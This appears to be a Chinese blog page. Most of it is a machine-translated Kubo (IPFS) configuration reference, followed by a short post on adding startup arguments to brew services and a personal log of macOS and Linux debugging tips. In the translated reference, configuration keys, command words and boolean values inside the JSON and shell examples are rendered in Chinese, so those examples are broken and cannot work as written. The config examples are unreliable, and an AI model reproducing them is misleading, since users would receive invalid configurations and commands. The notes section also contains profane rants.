Pinning.RemoteServices:API.Endpoint 用于访问固定服务的 HTTP(S) 端点 示例:“https://pinningservice.tld:1234/my/api/path” 类型:字符串 固定.RemoteServices:API.Key 授予对固定服务的访问权限的密钥 类型:字符串 Pinning.RemoteServices:策略 包含远程固定服务的附加选择加入策略。 固定.RemoteServices:策略.MFS 启用此策略后,它会遵循 MFS 的更改 并更新已配置的远程服务上 MFS 根的 pin。 仅当 MFS 根 CID 更改时才会向远程服务发送 pin 请求 并且自上次请求以来已经过去了足够的时间(由“RepinInterval”确定)。 人们可以通过“ipfs 日志级别 Remotepinning/mfs debug”启用调试来观察 MFS 固定细节,并在完成后切换回“错误”。 Pinning.RemoteServices:策略.MFS.Enabled 控制此策略是否处于活动状态。 默认值:“假” 类型:布尔 Pinning.RemoteServices:策略.MFS.PinName 用于表示 MFS 根 CID 的远程引脚的可选名称。 当留空时,将生成默认名称。 默认值:"policy/{PeerID}/mfs",例如"policy/12.../mfs" 类型:字符串 Pinning.RemoteServices:Policies.MFS.RepinInterval 定义将 pin 请求发送到远程服务的频率(最多)。 如果留空,将使用默认间隔。低于“1m”的值将被忽略。 默认值:“5m” 类型:持续时间 发布订阅 已弃用:请参阅 #9717 Pubsub 配置“ipfs pubsub”子系统。要使用它,必须通过以下方式启用 将 --enable-pubsub-experiment 标志传递给守护进程 或通过下面的“Pubsub.Enabled”标志。 Pubsub.Enabled 已弃用:请参阅 #9717 启用 pubsub 系统。 默认值:“假” 类型:标志 Pubsub.Router 已弃用:请参阅 #9717 设置 pubsub 用于将消息路由到对等点的默认路由器。这可以是以下之一: *“floodsub”-floodsub 是一个基本路由器,它只是将消息_floods_发送给所有 连接的同行。该路由器效率极低,但_非常_可靠。 "gossipsub" - [gossipsub][] 是一种更高级的路由算法,它将 从网络中链接的子集构建覆盖网格。 默认值:“gossipsub” 类型:string("floodsub"、"gossipsub" 或 "" 之一(应用默认值)) [gossipsub]:https://github.com/libp2p/specs/tree/master/pubsub/gossipsub Pubsub.DisableSigning 已弃用:请参阅 #9717 禁用消息签名和签名验证。启用此选项,如果 您正在一个完全可信的网络中运行。 即使您不关心是谁发送的,禁用签名也是_不_安全的 消息,因为欺骗消息可以用来压制真实消息 故意重复使用真实消息的消息 ID。 默认值:“假” 类型:布尔 Pubsub.SeenMessagesTTL 已弃用:请参阅 #9717 控制重复消息的时间窗口,由 Message 标识 ID,将被识别,不会再次发出。 该参数值较小意味着缓存中的 Pubsub 消息将 更快地进行垃圾收集,这可能会导致缓存更小。同时 时间,如果网络中存在转发较旧消息的较慢节点, 这可能会导致更多的重复项通过网络传播。 相反,该参数的值越大,意味着 Pubsub 消息在 缓存稍后将被垃圾收集,这可能会导致更大的缓存 相同的流量模式。然而,重复的可能性较小 通过网络传播。 默认值:请参阅 go-libp2p-pubsub 中的 TimeCacheDuration 类型:可选持续时间 Pubsub.SeenMessagesStrategy 已弃用:请参阅 #9717 确定 Pubsub 重复数据删除的生存时间 (TTL) 倒计时方式 消息被计算。 Pubsub 看到的消息缓存是一个 LRU 缓存,可将消息保留最多 指定的持续时间。过了这个时间后,过期的消息将会 从缓存中清除。 “最后查看”缓存是滑动窗口缓存。每次看到消息 再次随着 SeenMessagesTTL 持续时间,其时间戳向前滑动。这 缓存频繁出现的消息并防止它们被 不断传播,特别是因为可能会增加 网络中重复消息的数量。 “first-seen”缓存将存储新消息并在消息到达后清除它们 SeenMessagesTTL 持续时间,即使在此期间多次看到它们 期间。 默认值:last-seen(参见 go-libp2p-pubsub) 类型:可选字符串 对等互连 配置对等子系统。对等互连子系统将 Kubo 配置为 连接到、保持连接以及重新连接到一组节点。节点应该 使用此子系统在经常有用的对等点之间创建“粘性”链接 提高可靠性。 用例: 连接到 IPFS 集群的 IPFS 网关应该对等以确保 网关始终可以从集群中获取内容。 dapp 可以通过一组固定服务对嵌入的 Kubo 节点进行对等,或者 纺织咖啡馆/中心。 一群朋友可以互相查看以确保他们总是可以获取彼此的 内容。 当一个节点被添加到对等节点集中时,Kubo 将: 保护连接管理器与此节点的连接。那是, Kubo 永远不会自动关闭与该节点的连接,并且 到此节点的连接不会计入连接限制。 启动时连接到该节点。 如果最后一个连接断开或 节点离线。这种重复的重新连接逻辑是由随机的 指数退避延迟范围从约 5 秒到约 10 分钟,以避免 反复重新连接到离线的节点。 对等互连可以是不对称的或对称的: 当对称时,连接将受到两个节点的保护,并且可能会 非常稳定。 非对称时,只有一个节点(配置对等的节点)进行保护 连接并尝试在断开连接时重新连接到对等节点。如果 对等节点负载较重和/或连接限制较低, 连接可能会反复抖动。不对称地凝视时要小心,不要 超载同行。 对等。对等 与之对等的对等点集合。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { “对等”:{ “同行”:[ { "ID": "QmPeerID1", “地址”:[“/ip4/18.1.1.1/tcp/4001”] }, { "ID": "QmPeerID2", “地址”:[“/ip4/18.1.1.2/tcp/4001”,“/ip4/18.1.1.2/udp/4001/quic”] } ] } ... } 其中“ID”是对等点 ID,“Addrs”是对等点的一组已知地址。如果没有指定地址,则会查询 DHT。 将来可能会添加其他字段。 默认值:空。 类型:数组[对等] 重新提供者 Reprovider.Interval 设置向路由重新提供本地内容的轮次之间的时间 系统。 如果未设置,则使用隐式安全默认值。 如果设置为值“0”,它将禁用内容重新提供。 注意:禁用内容重新提供将导致网络上的其他节点 无法发现你拥有你所拥有的物品。如果你想 要禁用此功能并使网络了解您所拥有的内容,您必须 定期手动公布您的内容。 默认值:22h(DefaultReproviderInterval) 类型:“可选持续时间”(默认未设置) Reprovider.Strategy 告诉重新提供者应该宣布什么。有效的策略是: "all" - 公布存储块的所有 CID "pinned" - 仅递归地宣布固定的 CID(根块和子块) "roots" - 仅宣布显式固定 CID 的根块 默认值:“全部” 类型:“可选字符串”(默认未设置) 路由 包含内容、对等和 IPNS 路由机制的选项。 路由.类型 有多个路由选项:“auto”、“autoclient”、“none”、“dht”、“dhtclient”和“custom”。 默认: 如果未设置或设置为“自动”,您的节点将使用 IPFS DHT 和下面列出的并行 HTTP 路由器可提高速度。 如果设置为“autoclient”,您的节点将像“auto”一样运行,但不运行 DHT 服务器。 如果设置为“none”,您的节点将使用_no_路由系统。你必须 明确连接到具有您正在查找的内容的对等点。 如果设置为“dht”(或“dhtclient”/“dhtserver”),您的节点将仅使用 IPFS DHT(无 HTTP 路由器)。 如果设置为“自定义”,则禁用所有默认路由器,并且仅使用“Routing.Routers”中定义的路由器。 当DHT启用时,它可以以两种模式运行:客户端和服务器。 在服务器模式下,您的节点将向其他对等点查询 DHT 记录,并将 响应来自其他对等点的请求(存储记录的请求和 请求检索记录)。 在客户端模式下,您的节点将作为客户端查询DHT,但不会响应 应其他同行的要求。该模式比服务器占用资源少 模式。 当 Routing.Type 设置为 auto 或 dht 时,您的节点将作为 DHT 客户端启动,并且 当确定可以从 DHT 服务器访问时,切换到 DHT 服务器 公共互联网(例如,它不在防火墙后面)。 要强制使用特定的仅 DHT 模式、客户端或服务器,请将“Routing.Type”设置为 分别为“dhtclient”或“dhtserver”。请不要将其设置为“dhtserver” 除非您确定可以从公共网络访问您的节点。 当“Routing.Type”设置为“auto”或“autoclient”时,您的节点将加速某些类型的路由 通过利用与 IPIP-337 兼容的 HTTP 端点 除了IPFS DHT。 默认情况下,IPNI 的实例 使用 https://cid.contact。 将“Routing.Type”设置为“custom”后,可以在“Routing.Routers”中配置替代路由规则。 默认值:“自动”(DHT + IPNI) 类型:可选字符串(null/缺失表示默认值) 路由.AcceleratedDHTClient 这个具有完整路由表策略的替代 DHT 客户端将 每小时对 DHT 进行一次完整扫描并记录找到的所有节点。 然后,当尝试查找时,不必经历多个 Kad 跃点 通过查找内存中记录的网络表,能够找到最终的20个节点。 这意味着持续更高的内存来存储路由表 以及每次网络扫描的额外 CPU 和网络带宽。 然而,单个读/写操作的延迟应该快 10 倍左右 在更大的数据集上,吞吐量可提高 600 万倍! 这与“Routing.Type”“custom”不兼容。如果您使用可组合路由器 您可以在每个路由器上单独进行配置。 当启用时: 客户端 DHT 操作(读取和写入)应该更快地完成 提供商现在将使用键空间扫描模式来保持活动状态 CID 集大多个数量级。 标准的 Bucket-Routing-Table DHT 仍将为 DHT 服务器运行(如果 DHT 服务器已启用)。这意味着经典路由表将 仍然可以用来回答其他节点。 这对于保持不损害网络至关重要。 操作“ipfs stats dht”将默认显示有关加速 DHT 客户端的信息 注意事项: 运行加速客户端可能会导致更多资源消耗(连接、RAM、CPU、带宽) 其机器/网络可以执行的并行连接数量受到限制的用户可能会受到影响 资源使用不顺畅,客户端轮流抓取网络,重新提供也同样轮次完成 以前拥有大量内容但无法在网络上做广告的用户将看到内容增加 当节点开始将其所有 CID 通告到网络中时,出口带宽。如果您有大量数据 输入您不想宣传的节点,然后考虑使用 Reprovider Strategies 以减少您重新提供的 CID 数量。同样,如果您运行的节点主要处理 短暂的临时数据(例如,您使用单独的节点来摄取数据,然后存储和提供数据) 您可能会受益于使用策略提供 来防止广告 您最终不会拥有的数据。 目前,DHT 无法用于操作前 5-10 分钟的查询,因为路由表正在更新中。 准备好了。这意味着在 DHT 中搜索特定节点或内容等操作最初将无法进行。 您可以通过运行“ipfs stats dht”来查看 DHT 是否已初始填充 目前加速DHT客户端不兼容基于局域网的DHT,不会对DHT进行操作 他们 默认值:“假” 类型:“bool”(缺少表示“false”) 路由.路由器 实验:“Routing.Routers”配置可能会在未来版本中更改 附加路由器的映射。 允许使用替代路由器扩展默认路由 (DHT) 实施。 映射键是路由器的名称,值是其配置。 默认值:{} 类型:对象[字符串->对象] 路由.路由器:类型 实验:“Routing.Routers”配置可能会在未来版本中更改 它指定将创建的路由类型。 目前支持的类型: 基于 IPIP-337 的 HTTP 协议的“http”简单委托路由 dht 提供基于 libp2p 的 kad-dht 的去中心化路由 parallel 和 sequential:可用于顺序或并行运行多个路由器的帮助程序。 类型:字符串 路由.路由器:参数 实验:“Routing.Routers”配置可能会在未来版本中更改 创建指定路由器所需的参数。每种路由器类型支持的参数: HTTP: Endpoint(强制):将用于连接到指定路由器的 URL。 MaxProvideBatchSize:此数字确定每批发送的 CID 的最大数量。服务器每批接受的元素可能不超过 100 个。默认 100 个元素。 MaxProvideConcurrency:它确定提供内容时使用的线程数。默认情况下为 GOMAXPROCS。 双氢睾酮: "Mode":DHT 使用的模式。可能的值:“服务器”、“客户端”、“自动” "AcceleratedDHTClient":如果您想使用加速DHT,请设置为true。 “PublicIPNetwork”:设置为“true”以创建“WAN”DHT。设置为“false”以创建“LAN”DHT。 平行线: Routers:将并行执行的路由器列表: Name:string:路由器的名称。它应该是之前添加到“路由器”列表中的其中之一。 超时:持续时间:本地超时。它接受与 Go time.ParseDuration(string) 兼容的字符串(10s、1m、2h)。当这个特定的路由器被调用时,时间就会开始计时,当路由器返回时,或者我们达到指定的超时时间,时间就会停止。 ExecuteAfter:duration:提供此参数将在指定时间延迟该路由器的执行。它接受与 Go time.ParseDuration(string) 兼容的字符串(10s、1m、2h)。 IgnoreErrors:bool:它将指定如果发生错误,是否应忽略该路由器。 超时:持续时间:全局超时。它接受与 Go time.ParseDuration(string) 兼容的字符串(10s、1m、2h)。 顺序: Routers:将按顺序执行的路由器列表: Name:string:路由器的名称。它应该是之前添加到“路由器”列表中的其中之一。 超时:持续时间:本地超时。它接受与 Go time.ParseDuration(string) 兼容的字符串。当这个特定的路由器被调用时,时间就会开始计时,当路由器返回时,或者我们达到指定的超时时间,时间就会停止。 IgnoreErrors:bool:它将指定如果发生错误,是否应忽略该路由器。 超时:持续时间:全局超时。它接受与 Go time.ParseDuration(string) 兼容的字符串。 默认值:{}(使用安全的隐式默认值) 类型:对象[字符串->字符串] 路由:方法 Methods:map 将定义每个方法将执行哪些路由器。关键是方法的名称:“provide”、“find-providers”、“find-peers”、“put-ipns”、“get-ipns”。所有方法都必须添加到列表中。 该值将包含: RouterName:string:路由器的名称。它应该是之前添加到“Routing.Routers”列表中的其中之一。 类型:对象[字符串->对象] 例子: 使用 2 个路由器、DHT (LAN/WAN) 和并行路由器的完整示例。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 $ ipfs config Routing.Type --json '“自定义”' $ ipfs 配置 Routing.Routers.WanDHT --json '{ “类型”:“dht”, “参数”: { “模式”:“自动”, “公共IP网络”:正确, “加速DHTClient”:假 } }' $ ipfs 配置 Routing.Routers.LanDHT --json '{ “类型”:“dht”, “参数”: { “模式”:“自动”, “公共IP网络”:假, “加速DHTClient”:假 } }' $ ipfs 配置 Routing.Routers.ParallelHelper --json '{ “类型”:“并行”, “参数”: { “路由器”:[ { “路由器名称”:“LanDHT”, “忽略错误”:正确, “超时”:“3秒” }, { “路由器名称”:“WanDHT”, “忽略错误”:错误, “超时”:“5m”, “执行后”:“2秒” } ] } }' ipfs 配置路由.Methods --json '{ “查找同行”:{ “路由器名称”:“并行助手” }, “寻找供应商”:{ “路由器名称”:“并行助手” }, “获取 ipns”:{ “路由器名称”:“并行助手” }, “提供”: { “路由器名称”:“并行助手” }, “put-ipns”:{ “路由器名称”:“并行助手” } }' 群 用于配置群的选项。 Swarm.AddrFilters 不拨号的地址数组(多地址网络掩码)。默认情况下,IPFS 节点 公布_所有_地址,甚至是内部地址。这使得节点更容易 同一网络可以互相联系。不幸的是,这意味着 IPFS 每当拨号时,节点都会尝试连接到一个或多个私有IP地址 另一个节点,即使这个另一个节点位于不同的网络上。这可能 触发某些托管提供商的网络扫描警报或导致某些设置紧张。 server 配置文件用合理的默认值填充此列表, 防止拨号到所有不可路由的 IP 地址(例如,/ip4/192.168.0.0/ipcidr/16, 这是 192.168.0.0/16 的多地址表示),但你应该始终 检查您自己的网络和/或托管提供商的设置。 默认值:[] 类型:数组[字符串] Swarm.DisableBandwidthMetrics 一个布尔值,当设置为 true 时,将导致 ipfs 不跟踪 带宽指标。禁用带宽指标可能会导致性能轻微下降 改进以及内存使用量的减少。 默认值:“假” 类型:布尔 Swarm.DisableNatPortMap 禁用自动 NAT 端口转发。 如果未禁用(默认),Kubo 会要求 NAT 设备(例如路由器)打开 启动外部端口并将其转发到 Kubo 正在运行的端口。当这个 工作(即,当您的路由器支持 NAT 端口转发时),它使本地 Kubo 节点可通过公共互联网访问。 默认值:“假” 类型:布尔 Swarm.EnableHolePunching 启用NAT穿越打洞功能 当无法进行端口转发时。 启用后,Kubo 将使用以下方式与交易对手进行协调 [中继连接](https://github.com/libp2p/specs/blob/master/relay/ Circuit-v2.md), 升级为直接连接 尽可能通过 NAT/防火墙。 此功能需要将“Swarm.RelayClient.Enabled”设置为“true”。 默认值:true 类型:标志 Swarm.EnableAutoRelay 已删除 请参阅“Swarm.RelayClient”。 Swarm.RelayClient 中继客户端使用中继服务的配置选项。 默认值:{} 类型:对象 Swarm.RelayClient.Enabled 为此节点启用“自动中继用户”模式。 如果您的节点检测到,它将自动_使用_来自网络的公共中继 无法从公共互联网访问它(例如,它位于 防火墙)并从公共中继获取“/p2p-电路”地址。 默认值:true 类型:标志 Swarm.RelayClient.StaticRelays 您的节点将使用这些静态配置的中继服务器 而不是从网络中发现公共中继([Circuit Relay v2](https://github.com/libp2p/specs/blob/master/relay/ Circuit-v2.md))。 默认值:[] 类型:数组[字符串] Swarm.RelayService 可以提供给_other_对等点的中继服务的配置选项 在网络上(Circuit Relay v2)。 默认值:{} 类型:对象 Swarm.RelayService.Enabled 允许向网络上的其他对等点提供“/p2p-电路”v2 中继服务。 注意:这是中继系统的服务/服务器部分。 禁用此选项将阻止该节点作为中继服务器运行。 使用 Swarm.RelayClient.Enabled 将您的节点转变为中继用户。 默认值:true 类型:标志 Swarm.RelayService.Limit 限制应用于每个中继连接。 默认值:{} 类型:对象[字符串 -> 字符串] Swarm.RelayService.ConnectionDurationLimit 重置中继连接之前的时间限制。 默认值:“2m” 类型:持续时间 Swarm.RelayService.ConnectionDataLimit 重置中继连接之前中继的数据限制(每个方向)。 默认值:131072 (128 kb) 类型:可选整数 Swarm.RelayService.ReservationTTL 新的或刷新的预订的持续时间。 默认值:“1h” 类型:持续时间 Swarm.RelayService.MaxReservations 活动中继插槽的最大数量。 默认值:128 类型:可选整数 Swarm.RelayService.MaxCircuits 每个对等方打开的中继连接的最大数量。 默认值:16 类型:可选整数 Swarm.RelayService.BufferSize 中继连接缓冲区的大小。 默认值:2048 类型:可选整数 Swarm.RelayService.MaxReservationsPerPeer 来自同一对等点的最大保留数。 默认值:4 类型:可选整数 Swarm.RelayService.MaxReservationsPerIP 来自同一 IP 的最大保留数。 默认值:8 类型:可选整数 Swarm.RelayService.MaxReservationsPerASN 来自同一 ASN 的最大保留数。 默认值:32 类型:可选整数 Swarm.EnableRelayHop 已删除 替换为 Swarm.RelayService.Enabled。 Swarm.DisableRelay 已删除 将“Swarm.Transports.Network.Relay”设置为“false”。 Swarm.EnableAutoNATService 已删除 请使用AutoNAT.ServiceMode。 Swarm.ConnMgr 连接管理器决定要保留哪些连接以及多少个连接 被配置为保留。Kubo 目前支持两种连接管理器: none:从不关闭空闲连接。 basic:默认的连接管理器。 默认情况下,此部分为空,隐式默认值定义如下 被使用。 Swarm.ConnMgr.Type 设置要使用的连接管理器类型,选项有:“none”(无连接 管理)和“基本”。 默认值:“基本”。 类型:“可选字符串”(未设置或为空时默认) 基本连接管理器 基本连接管理器使用“高水位”、“低水位”和内部 评分以定期关闭连接以释放资源。当一个节点 使用基本连接管理器达到“HighWater”空闲连接,它将 关闭最不有用的连接,直到达到“LowWater”空闲连接。 在以下情况下,连接管理器认为连接空闲: 它尚未受到某些子系统的显式_​​保护_。例如,比特交换 将保护与正在主动下载数据的对等点的连接, DHT 将保护一些对等点进行路由,并且对等子系统将 保护所有“对等”节点。 它的存在时间比 GracePeriod 还要长。 例子: 1 2 3 4 5 6 7 8 9 10 { “一群”: { “ConnMgr”:{ “类型”:“基本”, “低水位”:100, “高水位”:200, “宽限期”:“30 秒” } } } Swarm.ConnMgr.LowWater LowWater 是基本连接管理器将要处理的连接数 修剪到。 默认值:32 类型:可选整数 Swarm.ConnMgr.HighWater HighWater 是连接数,超过时将触发 连接GC操作。注意:受保护/最近形成的连接不计算在内 向这个极限。 默认值:96 类型:可选整数 Swarm.ConnMgr.GracePeriod GracePeriod 是新连接不被关闭的时间段 由连接管理器。 默认值:“20 秒” 类型:可选持续时间 Swarm.ResourceMgr 了解有关 Kubo 使用 libp2p 网络资源管理器的更多信息 在专用资源管理文档中。 Swarm.ResourceMgr.Enabled 使用基于默认值和/或其他配置的限制来启用 libp2p 资源管理器,如 libp2p 资源管理 中所述。 默认值:true 类型:标志 Swarm.ResourceMgr.MaxMemory 这是允许 libp2p 使用的最大内存量。 当达到此限制时,libp2p 的资源管理器将阻止创建额外的资源。 该值还用于扩展不同范围内各种资源的限制 当使用默认限制(在 libp2p 资源管理 中讨论)时。 例如,增加此值将增加传入连接的默认限制。 可以通过“ipfs swarm resources –help”检查运行时限制。 默认值:“[TOTAL_SYSTEM_MEMORY]/2” 类型:可选字节 Swarm.ResourceMgr.MaxFileDescriptors 这是允许 libp2p 使用的文件描述符的最大数量。 当达到此限制时,libp2p 的资源管理器将防止额外的文件描述符消耗。 此参数在 Windows 上被忽略。 默认“[TOTAL_SYSTEM_FILE_DESCRIPTORS]/2” 类型:可选整数 Swarm.ResourceMgr.Allowlist 可以绕过正常系统限制的多地址列表(但仍受白名单范围限制)。 go-libp2p-resource-manager#Allowlist.Add的便捷配置。 默认值:[] 类型:数组[字符串](多地址) Swarm.Transports libp2p 传输的配置部分。将应用空配置 默认值。 Swarm.Transports.Network libp2p network 传输的配置部分。启用的传输 该部分将用于拨号。但是,要接收这些连接 传输,这些传输的多地址必须添加到“Addresses.Swarm”中。 支持的传输包括:QUIC、TCP、WS、Relay 和 WebTransport。 本节中的每个字段都是一个“标志”。 Swarm.Transports.Network.TCP [TCP] (https://en.wikipedia.org/wiki/Transmission_Control_Protocol) 是一个简单的 和广泛部署的传输,它应该与大多数实现兼容 和网络配置。TCP 不直接支持加密和/或 多路复用,因此 libp2p 将在其之上分层安全和多路复用传输。 默认值:启用 类型:标志 收听地址: /ip4/0.0.0.0/tcp/4001(默认) /ip6/::/tcp/4001(默认) Swarm.Transports.Network.Websocket [Websocket] (https://en.wikipedia.org/wiki/WebSocket) 是一种常用的传输方式 从基于浏览器的 js-ipfs 节点连接到非基于浏览器的 IPFS 节点。 虽然默认情况下启用拨号功能,但 Kubo 不会监听此功能 默认运输。 默认值:启用 类型:标志 收听地址: /ip4/0.0.0.0/tcp/4002/ws /ip6/::/tcp/4002/ws Swarm.Transports.Network.QUIC [QUIC] (https://en.wikipedia.org/wiki/QUIC) 是最广泛使用的交通工具 久保节点。它是一种基于 UDP 的传输,具有内置加密和 复用。相对于 TCP 的主要优点是: 1.建立连接需要1次往返(我们的TCP传输 目前需要 4)。 2. 没有队头阻塞。 3. 每个连接不需要文件描述符,减轻了操作系统的负载。 默认值:启用 类型:标志 收听地址: /ip4/0.0.0.0/udp/4001/quic(默认) /ip6/::/udp/4001/quic(默认) Swarm.Transports.Network.Relay Libp2p 中继 代理 通过在多个 libp2p 节点之间跳跃来形成连接的传输。 允许 IPFS 节点使用其“/p2p-电路”连接到其他对等点 多地址。这种传输主要用于绕过防火墙和 NAT。 也可以看看: 文档:[Libp2p 电路继电器](https://docs.libp2p.io/concepts/ Circuit-relay/) Swarm.RelayClient.Enabled 用于获取公共 在防火墙后面时的“/p2p-电路”地址。 Swarm.EnableHolePunching 通过中继直接连接升级 Swarm.RelayService.Enabled 成为 其他对等点的有限中继 默认值:启用 类型:标志 收听地址: 这种运输很特殊。任何启用此传输的节点都可以接收 此传输上的入站连接,无需指定侦听地址。 Swarm.Transports.Network.WebTransport [go-libp2p]的新功能(https://github.com/libp2p/go-libp2p/releases/tag/v0.23.0) 是 WebTransport 传输。 这是 WebSocket 的精神后代,但基于“HTTP/3”。 由于它运行在“HTTP/3”之上,因此它在底层使用“QUIC”。 由于额外的开销,我们预计它的性能比“QUIC”最差, 这种传输实际上是针对无法执行“TCP”或“QUIC”的代理(如浏览器)。 WebTransport 是一种新的传输协议,目前由 IETF 和 W3C 正在开发,并且已经由 Chrome 实现。 从概念上讲,它就像在 QUIC 而不是 TCP 上运行的 WebSocket。最重要的是,它允许浏览器建立与 WebTransport 服务器的(安全!)连接,而无需 CA 签名的证书, 从而使在浏览器中运行的任何 js-libp2p 节点能够连接到任何 kubo 节点,而无需手动配置。 之前的替代方案是 websocket 安全,需要手动安装反向代理和 TLS 证书。 默认值:启用 类型:标志 Swarm.Transports.Security libp2p security 传输的配置部分。启用的传输 此部分将用于保护未加密的连接。 安全传输配置为“优先级”类型。 当建立_出站_连接时,Kubo 将尝试每种安全性 按优先级顺序传输(从低到高),直到找到一个协议 接收器支持。当建立_inbound_连接时,Kubo会让 发起者选择协议,但会拒绝使用任何禁用的协议 运输。 支持的传输包括:TLS(优先级 100)和 Noise(优先级 300)。 默认优先级绝不会低于 100。 Swarm.Transports.Security.TLS TLS (1.3) 是默认值 从 Kubo 0.5.0 开始,安全传输。这也是最受关注和关注的 值得信赖的安全传输。 默认值:100 类型:优先 Swarm.Transports.Security.SECIO 对 SECIO 的支持已被删除。请从您的配置中删除此选项。 Swarm.Transports.Security.Noise Noise 预计将被替换 由于易于使用,TLS 作为跨平台、默认的 libp2p 协议 执行。目前默认启用,但优先级较低,因为它 尚未得到广泛支持。 默认值:300 类型:优先 Swarm.Transports.Multiplexers libp2p _多路复用器_传输的配置部分。启用的传输 该部分将用于复用双工连接。 多路复用器传输的保护方式与安全传输相同, “优先”类型。与安全传输一样,发起者得到他们的 第一选择。 支持的传输包括:Yamux(优先级 100)和 Mplex(优先级 200) 默认优先级绝不会低于 100。 Swarm.Transports.Multiplexers.Yamux Yamux 是 Kubo 节点之间通信时使用的默认多路复用器。 默认值:100 类型:优先 Swarm.Transports.Multiplexers.Mplex Mplex 是 Kubo 和所有设备之间通信时使用的默认多路复用器 其他 IPFS 和 libp2p 实现。与 Yamux 不同: Mplex 是一个更简单的协议。 Mplex 更高效。 Mplex 没有内置的 keepalive。 Mplex 不支持背压。不幸的是,这意味着,如果 到对等点的单个流会备份一段时间,mplex 传输将杀死该流以允许其他流继续进行。在另一 另一方面,缺乏背压意味着 mplex 在某些方面可以明显更快 高延迟连接。 默认值:200 类型:优先 DNS 用于为 DNSLink 和 /dns* Multiaddrs 配置 DNS 解析的选项。 DNS.Resolvers FQDN 到自定义解析器 URL 的映射。 这允许覆盖操作系统提供的默认 DNS 解析器, 每个域或 TLD 使用不同的解析器(包括来自替代的非 ICANN 命名系统的解析器)。 例子: 1 2 3 4 5 6 7 8 9 10 { “DNS”:{ “解析器”:{ “eth。”:“https://dns.eth.limo/dns-query”, “加密。”:“https://resolver.unstoppable.io/dns-query”, “自由。”:“https://ns1.irisen.fr/dns-query”, ".": "https://cloudflare-dns.com/dns-query" } } } 请注意: 目前仅支持 DNS over HTTPS (DoH) 端点的“https://” URL 作为值。 默认的全能解析器是操作系统提供的明文解析器。可以通过为由“.”指示的 DNS 根添加 DoH 条目来覆盖它,如上所示。 对选定分散式 TLD 的开箱即用支持依赖于尽力提供的集中式服务。隐式 DoH 解析器是: 1 2 3 4 { “eth。”:“https://resolver.cloudflare-eth.com/dns-query”, “加密。”:“https://resolver.cloudflare-eth.com/dns-query” } 为了获得去中心化命名系统的所有好处,我们强烈建议将 DoH 端点设置为空字符串,并在本地主机上运行自己的去中心化解析器作为包罗万象的解析器。 默认值:{} 类型:对象[字符串 -> 字符串] DNS.MaxCacheTTL DoH 缓存中条目有效的最大持续时间。 这允许您限制 DNS 响应建议的生存时间 (RFC2181)。 如果存在,上限将应用于 DNS.Resolvers 中的 DoH 解析器。 注意:这不适用于 Go 的默认 DNS 解析器。要使其成为全局设置,请首先向“DNS.Resolvers”添加“.”条目。 例子: "5m" DNS 条目保留 5 分钟或更短时间。 "0s" DNS 条目一旦被检索就会过期。 默认值:尊重 DNS 响应 TTL 类型:可选持续时间

2023/8/8
articleCard.readMore

修改brew services中服务的启动参数

前言 因为有增加brew services中服务的启动参数的需求,在网上看了圈,全是些CV内容,根本没解决问题.(中文互联网已经死亡,信息之墙,一层一层又一层.) 不过,解决起来确实很简单,(又水一篇文章) 定位目录 下面以ipfs为例.将ipfs换成其他,比如mysql 注: 只适用brew安装的服务. 1 cd "$(dirname "$(dirname "$(readlink -f $(which ipfs))")")" 接下来用vim分别修改plist和service 它们一个用于 macOS 系统上的服务管理,另外一个是配置文件. 修改文件 service文件在ExecStart后加参数(注意空格)即可,plist文件需要添加格式为<string>这里是参数</string> 缺点 可能: 没办法版本持久化? 因为我没测试过,可能升级操作文件会被覆盖.

2023/8/8
articleCard.readMore

技术杂记📝

--> 前言 主要还是想分享一些技术和一些可能用的上的东西吧.原来有篇日常杂记,但出于某些原因不能公开.故另起一文主要做少许记录,确保内容无太多情绪的语言.内容也更为随意(翻译:方便CV的就记录一下),更新时间完全看心情了(翻译:随机+懒+忘记写=容易鸽🐦). 下面把部分内容搬运过来一些. 注: 此篇禁CN网络访问.已解除限制🔓 现在含日常记录📝了. 2025年7月18日 星期五 在macOS 外置显示器上玩2077,记得把 控制中心/菜单栏 中 自动隐藏和显示菜单栏 设置为始终,否则画面覆盖不全. 在macOS 15.5,M1 MAX 64GB 外置LG 4K显示器的设备上玩2.3版本2077,关闭帧生成,关闭系统中占用高CPU的进程,分辨率设为2560x1440,纹理质量等特效均设置为高,平均FPS为61.64,最大FPS为71.51,最小FPS为52.37,采用默认动态分辨率调节. 2025年7月10日 星期四 macOS 英文输入法恢复按键重复功能: defaults write -g ApplePressAndHoldEnabled -bool false 注销用户并重新登录生效或者重启macOS系统 2025年5月5日 星期一 草了,macOS 系统这么怎么垃圾,到处都有内存泄露的bug,md,系统私有框架 Portrait.framework 我真的服了,从macOS 10.11 上被发现到我目前用的 macOS 15.4.1 依然没修复。 我怎么发现的? 我真的草了,我用 FFmpeg 调用 AVFoundation 硬件采集(-f avfoundation),然后这逼进程内存持续增长,我tm追踪一看,底层 Portrait.framework 无法释放某些 CFString 路径资源导致的(反复加载但未释放的 VFX 资产路径字符串: file:///System/Library/PrivateFrameworks/Portrait.framework/Resources/…) 2025年4月24日 星期四 在工具受限或技术有限情况下,通过遍历线程并提供堆栈来找到程序性能瓶颈,参考: 1.poormansprofiler.org 2.旧版翻译 2025年4月10日 星期四 如果/private/var/log/alf.log文件无法被正常创建/读取,那么将无法打开macOS设置中的网络界面。 2025年1月20日 星期一 macOS arm架构,OrbStack 通过 Rosetta 运行的 x64 linux 虚拟机,通过 qemu-x86_64 -g 1234 /path/file 和 gdb /path/file 可以进行调试. 1 2 3 4 5 6 7 8 9 10 # 终端1 qemu-x86_64 -g 1234 /path/file # 终端2 gdb /path/file target remote localhost:1234 # 如果安装了 qemu-user-static # 可将 qemu-x86_64 换成 qemu-x86_64-static # 参考: https://docs.orbstack.dev/machines/#debugging-with-gdb-lldb 否则报错 1 2 3 4 warning: linux_ptrace_test_ret_to_nx: Cannot PTRACE_GETREGS: Input/output error warning: linux_ptrace_test_ret_to_nx: PC (nil) is neither near return address 0x7ffff8e1e000 nor is the return instruction 0x675672! Couldn't get CS register: Input/output error. Exception occurred: Error: Couldn't get registers: Input/output error. (<class 'gdb.error'>) 临时解除非root用户对其他进程的调试限制: echo 0 > /proc/sys/kernel/yama/ptrace_scope 或者 sysctl -w kernel.yama.ptrace_scope=0 持久化: vim /etc/sysctl.conf 添加 kernel.yama.ptrace_scope=0 下面办法有可能不可行(出现转译器不支持特定的 QEMU 指令集时),不清楚详细原因.(参考: 